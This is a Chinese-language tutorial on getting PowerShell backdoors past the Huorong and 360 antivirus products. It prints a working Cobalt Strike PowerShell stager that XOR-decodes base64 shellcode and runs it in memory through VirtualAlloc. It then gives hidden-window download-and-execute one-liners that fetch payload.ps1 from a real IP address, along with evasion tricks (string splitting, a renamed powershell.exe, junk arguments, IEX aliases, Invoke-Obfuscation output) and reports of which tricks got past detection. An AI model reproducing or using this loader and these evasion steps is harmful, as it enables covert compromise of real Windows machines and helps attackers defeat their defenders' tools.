powershell免杀思路分析

写在前面

powershell做为微软windows系统自带的软件包，具有十分强大的功能，Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的功能，在IT/系统管理员间得到普及。总的特点来说就是:方便、有效和隐蔽。举例来说，利用这些合法工具可以让威胁活动混在正常的网络流量或IT/系统管理工作内，也让这些恶意威胁能够留下较少的痕迹，使得侦测更加困难。在经过各种变形、加密、混淆、恶意文件放在远程服务器上，通过下载到内存中执行等方式来执行，导致其在防护这块还是存在很多技术难度，powershell后门和挖矿也越来越受人关注。在内网渗透中，免杀技术显得格外重要，在免杀的学习中，经常陷入一个误区，按照教程复现一遍，甚至不知道别人再讲什么，只知道可以免杀，而一旦别人的免杀技巧给查杀，自己对其免杀思路就束手无策，而正所谓授人以鱼不如授人以渔，接下来将使用CS生成的后门对国内主流的某绒、某60来查杀分析。

前期知识准备

Powershell执行策略

powershell.exe Get-ExecutionPolicy  获取执行策略Restricted: 脚本不能运行(默认设置)RemoteSigned: 在本地创建的脚本可以运行，网上下载的脚本无法运行(拥有数字证书签名例外)AllSigned: 仅当脚本由受信任的发布者签名时才能运行Unrestricted: 允许所有脚本运行Set-ExecutionPolicy <Policy name>  设置执行策略

常用powershell参数请参考：

https://blog.csdn.net/qq_51524329/article/details/121579801

免杀方式主要考虑的问题：

1、免杀工具执行的条件

2、文件的大小

3、是否能够正常使用（这里是能否正常上线）

powershell免杀思路过程分析

cs生成一个powershell后门，某绒、某60直接查杀。

Set-StrictMode -Version 2$DoIt = @'function func_get_proc_address {    Param ($var_module, $var_procedure)         $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}function func_get_delegate_type {    Param (        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,        [Parameter(Position = 1)] [Type] $var_return_type = [Void]    )    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')    return $var_type_builder.CreateType()}[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckudNiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMSEZqYCOxumHghCTQKyeshNUJb+HGT1K+fCnkZi8w3942ooKDteZVK8Nv3XJ+r1XoEFAaN0Oye7OOQHLJCeOrvBkIoSye36GOaNKQ8TcXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDREYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikj8gUWCTmTwYXZDzbI8Mkt8C65GlH5y2BrfKj3h82N6j+GXO1rO4H+b+RtVK1ay9SFf7Wr6c0fTX7e2TM25l7HpxgLpMmV9VeVOrI6bbZZymxKRLzE7MtCqank3Vzm7PsSIsKtZpboC4RYhAELYugCImha7OGcV7tQKo9wpaZ3OJP8LP3+alfk7+M58eyX43AyjJgckls0FRua/qFFZL2uV3H96CJesokr+qK3UCdLNlJsisRGx/Mc6VESE6IK++2z3+JtcCaw5Pdcg6iLuCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcFxQNEhIQDRESFA0SERsjMRd1Ww==')for ($x = 0; $x -lt $var_code.Count; $x++) {    $var_code[$x] = $var_code[$x] -bxor 35}$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))$var_runme.Invoke([IntPtr]::Zero)'@#shellcode代码If ([IntPtr]::size -eq 8) {    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job}else {    IEX $DoIt}#执行shellcode

本地执行代码-编码分析

本地执行代码的含义就是将powershell脚本直接上传至目标服务器来进行执行，现在我们首先要做的是什么呢？当然是先定位特征码。何为特征码，特征码就是病毒特有的特征，一般杀软件检测是根据特征码来检测，特征码检测指一种精确地检索一组匹配字符串的直接模式，每个病毒及其 变种的特征都包含在扫描器的定义库中，而这些特征是不会出现在未被感 染的文件中的。

在powershell脚本如何手动定位特征码呢？直接一段一段代码删除，每次都使用杀毒软件查杀，就可以定位特征码（exe程序定位特征码）在该powershell脚本中杀毒软件主要对DoIt变量的内容进行查杀。这里特别要注意base64编码的选择器，有些网上的在线编码器编码后并不能执行。

Set-StrictMode -Version 2$DoIt = @'ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCltCeXRlW11dJHZhcl9jb2RlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMzh1cUl5TWpRNnJHRXZGSHFIRVRxSEV2cUhFM3FGRUxMSlJwQlJMY0V1T1BIMEpmSVE4RDR1d3VJdVRCMDNGMHFIRXpxR0VmSXZPb1kxdW00MWRwSXZOenFHczdxSHNESXZEQUgycW9GNmdpOVJMY0V1T1A0dXd1SXVRYncxYlhJRjdiR0Y0SFZzRjdxSHNISXZCRnFDOW9xSHMvSXZDb0o2Z2k4NnBuQndkNGVFSjZlWExjdzN0OGVhZ3h5S1YrUzAxR1Z5TkxWRXBOU25kTGIxUUZKTnoyRXR4MGRIUjBkRXNaZFZxRTNQYktweU1qSTNnUzZuSnlTU0J5Y2t1ZE5pTWpjSE5MZEtxODVkejJ5Rk40RXZGeFN5TWhZNmR4Y1hGd2NYTkx5SFlOR056MnF1V2c0SE1TM0hSMFNkeHdkVXNPSlR0WTNQYW00eXluNENJakl4TGNwdFZYSjZyYXlDcExpZWJCZnR6MnF1SkxaZ0o5RXR6MkV0eDBTU1J5ZFhOTGxIVERLTnoybkNNTUl5TWE1RmVVRXR6S3NpSWpJOHJxSWlNank2amMzTndNVTA4VmFTUFgzazFKZGtKU0Ftb3JINGs4UDhxcU0vVWltd1RMSjBUMlRZK1FtcFVhVGU0VDZMTDdQRlU5Y0REaVlGcytxZmp6UjFRSnd6ZHMvUEFLb2xnaXozNnZHNDE0dXZ2MzMzcXJJM1pRUmxFT1lrUkdUVmNaQTI1TVdVcFBUMElNRncwVEF3dEFURTVUUWxkS1FVOUdHQU51Y0dwbUF4c05FeGdEZEVwTlIweFVVQU50ZHdNVkRSSUtMaWtqTnVUZzJYODdKemVQeS80VWl5Z1ZCWUFKUnNRcXF6ekQyZnNZOHgvODB0bnB4TXpXK0FHcUxhNkEyV1FzandLSXhXeGt6dkNhcGZ4cEgxRXJiTmczdmNCQ2RNVkV2TTRZNXRoYk92aysrMUlqZGpVSEh4ZUVDUC9QRUlYU2xNcCttaVc1UWhoNm4xTFF3Vmt0eDZMaDczM0wxMWx4aVhyWmZ1RXNucnU3amozdGFtcEdoSlNTb0taZEVqYVdhM1gzQ0xtRmhmUndjcVVRSllEeENWWnJydVBMNGtoakI2cTdubmgxb3JZWEs1SUJWVWpnQXdWMlY1ZHFPdzNadEJaUXIrZzJmODB1TzcrSm5waytzME1JOWVncDN0QjUzZk83UU5kdEluclc5VFo4V0lnU01IaE9JSnVkaEphM0lpTkwwNWFCZGR6MlNXTkxJek1qSTBzakkyTWpkRXQ3aDNERzNQYXdtaU1qSXlNaStuSndxc1IwU3lNREl5TndkVXN4dGFyQjNQYW00MWZscUNRaTRLYmpWc1o3NE11SzN0emNGeFFORWhJUURSRVNGQTBTRVJzak1SZDFXdz09JykKCmZvciAoJHggPSAwOyAkeCAtbHQgJHZhcl9jb2RlLkNvdW50OyAkeCsrKSB7CgkkdmFyX2NvZGVbJHhdID0gJHZhcl9jb2RlWyR4XSAtYnhvciAzNQp9CgokdmFyX3ZhID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoKGZ1bmNfZ2V0X3Byb2NfYWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jKSwgKGZ1bmNfZ2V0X2RlbGVnYXRlX3R5cGUgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKSkpCiR2YXJfYnVmZmVyID0gJHZhcl92YS5JbnZva2UoW0ludFB0cl06Olplcm8sICR2YXJfY29kZS5MZW5ndGgsIDB4MzAwMCwgMHg0MCkKW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkdmFyX2NvZGUsIDAsICR2YXJfYnVmZmVyLCAkdmFyX2NvZGUubGVuZ3RoKQoKJHZhcl9ydW5tZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCR2YXJfYnVmZmVyLCAoZnVuY19nZXRfZGVsZWdhdGVfdHlwZSBAKFtJbnRQdHJdKSAoW1ZvaWRdKSkpCiR2YXJfcnVubWUuSW52b2tlKFtJbnRQdHJdOjpaZXJvKQ=='@#经过base64编码$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))#对$DoIt进行base64解码并赋值给mksec，那么问题又来了，又会问为什么要base64解码，那是因为如果base64的变量直接传递给下面执行的语句会被执行吗？显然是不会的，所以要进行base64解码。下面的$DoIt变量就要改成$mksecIf ([IntPtr]::size -eq 8) {    start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job}else {    IEX $mksec}

将上述powershell脚本拿去查杀，发现某绒查杀，某60不查杀且成功上线，就不截图了，因为下面还有很多尝试如果每次进行查杀实验都要截图的话看过去很反感。那这说明了什么？说明某绒对静态代码查杀能力强，某60对静态代码查杀能力弱。

远程下载执行—替换&拆分&干扰

远程下载执行含义：

远程执行
将上述的powershell后门脚本放置我们的服务器，在目标服务器执行以下命令

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.113.217.128/payload.ps1'))"//下载powershell脚本并隐藏执行

某绒直接查杀，某60也直接查杀
替换文件名
这个又是干嘛呢？其实就是将powershell.exe中的内容复制到文本中，此时的文本就相当于是powershell.exe。

copy C:WindowsSystem32WindowsPowerShellv1.0powershell.exe bypass.txtbypass.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.113.217.128//payload.ps1'))"

此时过某绒且成功上线，某60查杀。

拆分http

以变量的方式拆分http，然后再进行拼接进行下载并执行

powershell -nop -w hidden -c "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.113.217.128//payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"

此时过某绒且成功上线，某60查杀。
两种方式结合
如果将上述两种方法相结合又会产生什么样的效果呢？

bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.113.217.128/payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"

此时过某绒且成功上线，某60查杀。
添加垃圾字符

powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.113.217.128/payload.ps1')

此时过某绒且成功上线，某60查杀。
如果我将上面三种方法全部结合又会出现什么样的结果呢？免杀思路就是不断尝试，不断的去思考。

bypass.txt -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.113.217.128/payload.ps1')

此时过某绒且成功上线，某60查杀。

通过上面的分析应该有点清楚免杀的思路了吧，对于上面的测试我们只是将未编码的powershell后门脚本放置我们的服务器，然后下载并执行，如果我将编码过后的放置到服务器又会擦出什么样的火花呢？这里我也尝试过了，结果与上面的一致，通过这个现象我们能够发现什么问题呢？说明在远程下载执行的时候，杀毒软件查杀的并不是我们服务器上的代码，而是检测powershell进程。为什么这么说，因为我们放置服务器的代码并不能绕过某绒。在同时也可以发现某绒对进程的检测能力一般，而某60对进程的查杀能力很强。别急，下面我们继续尝试其他方法。

远程下载&&混淆编码

对于第一开始的base64编码混淆，我们的方式还是太简单，那么有没有一款工具能够对powershell很好的进行编码混淆呢？完成一个复杂的编码混淆呢？这里介绍一款专门用于powershell脚本进行编码混淆的工具。

Invoke-Obfuscation

下载地址：https://github.com/danielbohannon/Invoke-Obfuscation

基本使用命令：

安装使用：Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation处理文件：set scriptpath C:Users86135Desktop1.ps1处理代码：set scriptblock 'xxxx'进入编码：encoding选择编码：1-8 有8中编码方式输出文件：out C:UsersacerDesktop11.ps1

连工具都杀，为什么连工具都杀呢？先继续看下面，后面我会一一道来。

对其源码进行编码

这里随便选一个进行编码，来看一下编码后的内容吧！可以看到经过混淆的代码非常复杂，我们一般是非常难混淆出这么复杂的代码的。

 &( $PShoMe[4]+$psHOmE[34]+'x') (((83, 101 ,116,45, 83,116,114,105,99,116, 77 , 111, 100 , 101 , 32 ,45 ,86, 101, 114 , 115 , 105 ,111,110 , 32,50 , 10,10, 36 ,68, 111 ,73,116, 32 , 61 ,32, 64 , 39 , 10,90,110 ,86 , 117 ,89 , 51, 82, 112 , 98, 50,52 , 103 ,90,110,86,117,89,49,57 , 110 , 90 , 88 ,82,102, 99 , 72 , 74 , 118,89, 49,57 ,104 , 90, 71, 82, 121,90, 88 ,78 ,122 ,73,72 ,115,75, 67, 86 , 66 ,104 , 99,109,70,116 , 73 ,67 ,103 , 107, 100 , 109 , 70 ,121 ,88 ,50,49, 118 , 90 ,72 ,86 , 115 , 90 ,83,119,103,74,72,90,104 , 99 , 108 , 57 ,119, 99,109,57 , 106, 90,87, 82 , 49 ,99,109,85, 112 ,67 ,81 ,107,75 ,67 ,83,82, 50 ,89 , 88, 74, 102 ,100, 87 ,53,122,89 ,87, 90 ,108, 88, 50, 53,104 , 100, 71 ,108 , 50, 90 ,86 , 57 , 116,90 ,88, 82, 111 , 98,50 ,82,122 ,73 ,68 , 48 , 103, 75 ,70,116, 66, 99 , 72 , 66,69, 98,50 ,49 , 104,97,87 ,53 , 100 ,79,106 ,112, 68 , 100 ,88 ,74 ,121, 90 , 87 ,53 , 48 ,82,71, 57, 116, 89,87,108 ,117 , 76,107,100 , 108,100 , 69 , 70, 122 ,99 ,50, 86, 116,89 ,109 , 120,112 ,90 , 88,77 ,111,75 , 83,66 ,56 ,73, 70 , 100 ,111, 90 ,88,74,108 ,76, 85 , 57, 105 ,97 ,109 ,86 ,106, 100,67 ,66 , 55,73,67 ,82, 102, 76 , 107,100,115 ,98,50 ,74 ,104 ,98,69, 70, 122 , 99,50 ,86 ,116, 89 ,109,120 , 53 ,81 ,50, 70 ,106,97, 71, 85, 103 , 76, 85, 70 , 117 ,90, 67 , 65, 107,88, 121, 53 , 77 ,98, 50 , 78, 104,100,71,108, 118,98,105,53 ,84,99,71,120,112 ,100,67,103,110,88,70, 119 , 110 ,75, 86 ,115 ,116, 77, 86 , 48 ,117 ,82,88,70,49 ,89,87 ,120,122 ,75 ,67 ,100 , 84,101 , 88 , 78,48,90 , 87, 48 , 117, 90 ,71 ,120, 115 ,74,121, 107, 103 ,102 , 83, 107 , 117 , 82 ,50, 86 ,48 ,86 ,72 , 108 , 119 ,90 , 83,103,110 ,84 , 87 ,108 ,106,99,109, 57 ,122 , 98,50, 90 , 48,76, 108 , 100,112, 98 ,106 ,77,121 , 76, 108, 86 ,117, 99, 50 ,70 ,109 ,90 ,85,53,104 , 100 , 71 , 108,50 , 90,85 ,49,108 ,100 , 71,104,118 , 90,72,77, 110, 75,81 ,111,74, 74,72, 90,104 , 99 , 108, 57 , 110, 99,71 , 69 , 103 , 80, 83,65 ,107,100 ,109 ,70 , 121, 88 ,51, 86 , 117 , 99 , 50, 70 , 109,90,86,57, 117,89 ,88 ,82 , 112 ,100 ,109,86, 102, 98 , 87,86 , 48,97, 71 , 57,107 , 99,121 ,53, 72 ,90 , 88 ,82,78,90 , 88 , 82,111, 98 ,50 ,81, 111, 74 ,48, 100 , 108 , 100 , 70,66,121 , 98 , 50 ,78,66 ,90, 71 , 82 , 121, 90 , 88, 78 ,122,74, 121 ,119 , 103 , 87 , 49 , 82 ,53 ,99 , 71 ,86,98, 88 ,86 , 48 , 103 ,81 , 67 , 103 ,110, 85,51, 108 ,122,100 , 71,86,116, 76,108 ,74 , 49, 98, 110 , 82, 112,98 , 87, 85, 117 , 83 , 87,53, 48, 90,88 ,74,118, 99 ,70 , 78 ,108 , 99 , 110 , 90,112 , 89,50, 86, 122 ,76, 107, 104 ,104 , 98 ,109 ,82,115, 90,86, 74 , 108 , 90, 105 ,99 ,115,73, 67 , 100,122 ,100 , 72 ,74 ,112 , 98, 109,99 , 110 , 75, 83,107, 75, 67,88,74,108 ,100,72,86 , 121,98 ,105 , 65,107,100, 109,70 ,121 , 88 ,50 ,100 ,119 , 89 ,83 , 53 ,74 ,98, 110 ,90 ,118, 97 , 50 ,85 , 111, 74 , 71 , 53 ,49, 98 ,71 ,119 , 115, 73, 69, 65, 111 , 87,49 ,78 ,53 , 99 , 51, 82, 108,98 , 83 ,53, 83,100 ,87 , 53 , 48,97 , 87 , 49 , 108,76 ,107 , 108 ,117,100,71 ,86 , 121, 98,51, 66 , 84, 90 , 88, 74 ,50 ,97 , 87 ,78, 108 , 99, 121,53 ,73,89 ,87 , 53 ,107, 98, 71 , 86, 83, 90 ,87, 90 , 100, 75 , 69,53 ,108,100 ,121,49,80, 89,109 , 112 , 108 , 89, 51 ,81,103 ,85 ,51, 108 , 122 ,100,71,86 , 116, 76 , 108, 74 ,49 , 98, 110, 82 ,112 , 98, 87, 85,117, 83 ,87 , 53,48,90, 88 ,74, 118,99 , 70 ,78 , 108,99 ,110,90 , 112 ,89 , 50, 86,122 , 76, 107, 104 ,104 ,98 , 109 ,82 , 115,90,86, 74 , 108 , 90, 105, 103, 111,84 ,109, 86, 51 , 76 ,85, 57 ,105, 97, 109,86, 106,100 , 67,66 ,74,98,110,82,81, 100 , 72,73 ,112, 76 , 67, 65 , 111 ,74, 72, 90 ,104, 99 , 108 ,57,49,98, 110 , 78 ,104, 90 , 109 , 86 , 102 ,98 , 109 , 70 ,48,97, 88,90 , 108 , 88,50, 49,108 ,100, 71,104,118 , 90, 72 , 77 ,117, 82, 50 , 86 ,48,84 , 87, 86 ,48, 97,71 , 57, 107, 75,67,100 , 72 , 90, 88 ,82 , 78 , 98,50 ,82 , 49, 98 , 71,86 , 73 , 89 ,87 ,53,107 ,98 ,71, 85 ,110 , 75, 83,107, 117 , 83,87 , 53 , 50 ,98 ,50,116, 108, 75 , 67 ,82 , 117, 100 , 87,120 ,115 , 76,67 , 66,65,75 , 67, 82 ,50 ,89 ,88 ,74 , 102 , 98 , 87,57 , 107 , 100,87 , 120 , 108,75, 83,107 , 112, 75,83 ,119,103, 74 , 72 , 90 , 104, 99 ,108, 57,119 , 99 ,109,57, 106,90,87,82, 49 ,99 ,109 , 85 , 112 ,75 , 81,112 ,57 ,67 ,103,112 ,109 , 100,87 ,53,106, 100 ,71 ,108, 118 , 98,105, 66,109 , 100,87 , 53, 106,88, 50 , 100 ,108,100,70,57,107 ,90 , 87,120,108, 90,50, 70 ,48 , 90 ,86,57, 48 , 101 ,88, 66 ,108, 73 , 72 ,115,75, 67,86 ,66,104,99 , 109,70 ,116, 73, 67,103,75,67,81, 108 ,98, 85, 71,70, 121 , 89 , 87 ,49 ,108 , 100,71 ,86 , 121, 75,70,66 , 118, 99,50 , 108,48 , 97,87 , 57,117 ,73, 68 , 48 , 103, 77 , 67, 119, 103 , 84 ,87,70,117,90, 71 ,70, 48 , 98, 51 , 74 ,53,73 ,68 , 48,103 , 74 ,70 , 82, 121, 100,87, 85 ,112 , 88 , 83, 66 ,98,86 ,72, 108 , 119 ,90 , 86,116, 100 , 88 , 83 ,65, 107 , 100 ,109 , 70, 121,88,51, 66 , 104,99,109 , 70 , 116 ,90,88 ,82,108, 99, 110 ,77, 115,67, 103 ,107, 74, 87,49,66, 104,99,109,70,116 ,90, 88 , 82,108 ,99 ,105 , 104,81 , 98,51 , 78 , 112,100,71 , 108 , 118,98 , 105 ,65 ,57,73 ,68,69,112,88 ,83 , 66, 98 ,86 , 72 ,108,119 , 90, 86, 48 ,103,74, 72, 90, 104 ,99,108, 57,121 , 90 , 88 , 82 ,49,99,109,53 , 102 , 100 ,72, 108 ,119 , 90 , 83, 65,57 , 73,70,116, 87 ,98 , 50 , 108, 107 , 88 ,81 , 111 , 74 ,75, 81,111 , 75, 67,83, 82, 50, 89 , 88,74,102 , 100, 72,108,119 , 90 , 86, 57, 105 , 100 ,87, 108 ,115, 90,71 , 86 ,121 ,73, 68, 48 ,103,87, 48 , 70, 119 ,99 , 69, 82, 118 , 98 ,87 ,70 ,112, 98 , 108 , 48, 54,79 ,107 , 78, 49 , 99 ,110, 74 , 108 ,98 ,110 ,82,69 ,98 ,50,49 , 104 , 97,87, 52 , 117 , 82 , 71 ,86 , 109,97 , 87 ,53 ,108 ,82,72 ,108,117,89 ,87, 49 ,112, 89, 48 , 70 ,122, 99 , 50 ,86 ,116 , 89 , 109,120 , 53,75 , 67 ,104,79,90 , 88, 99,116 , 84, 50 ,74 , 113, 90 , 87 ,78 , 48 , 73 , 70 , 78 , 53, 99 ,51, 82 ,108 ,98 ,83,53 ,83 , 90 , 87 , 90 ,115, 90 , 87,78, 48 ,97 , 87 , 57 ,117 , 76, 107,70 ,122 , 99,50, 86 , 116 ,89,109 , 120 ,53 ,84, 109,70 ,116 ,90,83 ,103, 110 ,85, 109, 86 ,109,98 ,71 ,86 , 106 ,100 ,71 ,86, 107 , 82 , 71 ,86,115 , 90,87,100, 104 , 100 , 71,85,110 , 75, 83,107,115 , 73,70 , 116 , 84,101 , 88 ,78, 48,90 ,87 ,48 , 117, 85 ,109, 86 ,109 ,98,71,86 ,106 ,100 , 71 ,108, 118,98, 105, 53 ,70 , 98 ,87,108 ,48,76,107 , 70,122 , 99 , 50 ,86 ,116 ,89 , 109, 120, 53 ,81, 110 ,86, 112, 98, 71 ,82 ,108 , 99,107, 70 ,106, 89,50,86 ,122 , 99 , 49 , 48 ,54, 79 , 108 ,74 ,49 , 98 , 105, 107, 117,82, 71,86 ,109, 97 ,87 ,53 , 108,82, 72 ,108, 117, 89,87 ,49,112 , 89,48,49,118 ,90, 72 , 86 ,115 , 90 , 83,103,110, 83 ,87 , 53 , 78 ,90, 87,49 ,118 , 99,110, 108,78 ,98 ,50 ,82,49, 98 ,71,85,110 , 76 ,67 ,65, 107,90 ,109,70, 115 , 99 , 50,85, 112, 76 , 107 , 82, 108,90 , 109, 108 , 117, 90, 86 , 82 , 53 ,99, 